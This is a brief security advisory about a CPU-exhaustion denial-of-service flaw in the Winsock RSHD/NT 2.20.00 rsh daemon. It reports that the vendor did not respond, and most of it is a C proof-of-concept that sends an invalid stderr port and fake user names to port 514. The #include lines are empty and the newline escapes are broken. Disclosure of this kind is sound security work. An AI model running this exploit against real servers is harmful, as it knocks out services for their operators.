Winsock RSHD/NT DoS
Winsock RSHD/NT mishandles invalid port assignments to the stderr stream.
This enables remote attackers to launch a DoS attack.
Vulnerable systems:
Winsock RSHD/NT version 2.20.00
Whenever an rsh client connects to the daemon, it sends the port number to which the daemon will send all its informational data (stderr). When this port is an invalid one (a negative number for example), or a port below 1024, the product will consume a large amount of CPU time.
Vendor status:
Vendor was informed but no measures were taken.
Exploit:
/*
** WRSHDNT 2.20.00 CPU overusage demo
** jimmers@yandex.ru
*/
#define HOST "localhost"
#define PORT 514
#include
#include
int main(int argc, char * argv[]){
SOCKET s;
WSADATA WSAData;
LPHOSTENT lpHostEnt;
SOCKADDR_IN sockAddr;
int res, on = 1;
char *stderr_port = "-666";
char *local_user = "Administrator";
char *remote_user = "root";
char *cmd = "help";
res = WSAStartup( MAKEWORD( 2, 2 ),
&WSAData);
if(res != 0){
res = WSAGetLastError();
printf("WSAStartup() failed,
WSAGetLastError: %dn", res);
return 1;
}
lpHostEnt = gethostbyname(HOST);
if(lpHostEnt == NULL){
res = WSAGetLastError();
printf("gethostbyname() failed,
WSAGetLastError: %dn", res);
WSACleanup();
return 1;
}
s = socket(AF_INET, SOCK_STREAM,
IPPROTO_TCP);
if(s == INVALID_SOCKET){
res = WSAGetLastError();
printf("socket() failed,
WSAGetLastError: %dn", res);
WSACleanup();
return 1;
}
sockAddr.sin_family = AF_INET;
sockAddr.sin_port = htons(PORT);
sockAddr.sin_addr = *((LPIN_ADDR)
*lpHostEnt->h_addr_list);
res = connect(s, (PSOCKADDR)
&sockAddr, sizeof(sockAddr));
if(res != 0){
res = WSAGetLastError();
printf("connect() failed,
WSAGetLastError: %dn", res);
WSACleanup();
return 1;
}
Sleep(400);
res = send(s, stderr_port, strlen
(stderr_port)+1, 0);
if(res == SOCKET_ERROR){
res = WSAGetLastError();
printf("send(stderr_port) failed,
WSAGetLastError: %dn", res);
WSACleanup();
return 1;
}
printf("send(stderr_port): %dn", res);
Sleep(400);
res = send(s, local_user, strlen(local_user)
+1, 0);
if(res == SOCKET_ERROR){
res = WSAGetLastError();
printf("send(local_user) failed,
WSAGetLastError: %dn", res);
WSACleanup();
return 1;
}
printf("send(local_user): %dn", res);
Sleep(400);
res = send(s, remote_user, strlen
(remote_user)+1, 0);
if(res == SOCKET_ERROR){
res = WSAGetLastError();
printf("send(remote_user) failed,
WSAGetLastError: %dn", res);
WSACleanup();
return 1;
}
printf("send(remote_user): %dn", res);
Sleep(400);
res = send(s, cmd, strlen(cmd)+1, 0);
if(res == SOCKET_ERROR){
res = WSAGetLastError();
printf("send(cmd) failed,
WSAGetLastError: %dn", res);
WSACleanup();
return 1;
}
printf("send(cmd): %dn", res);
WSACleanup();
return 0;
}
Additional information
The information has been provided by martin rakhmanoff.
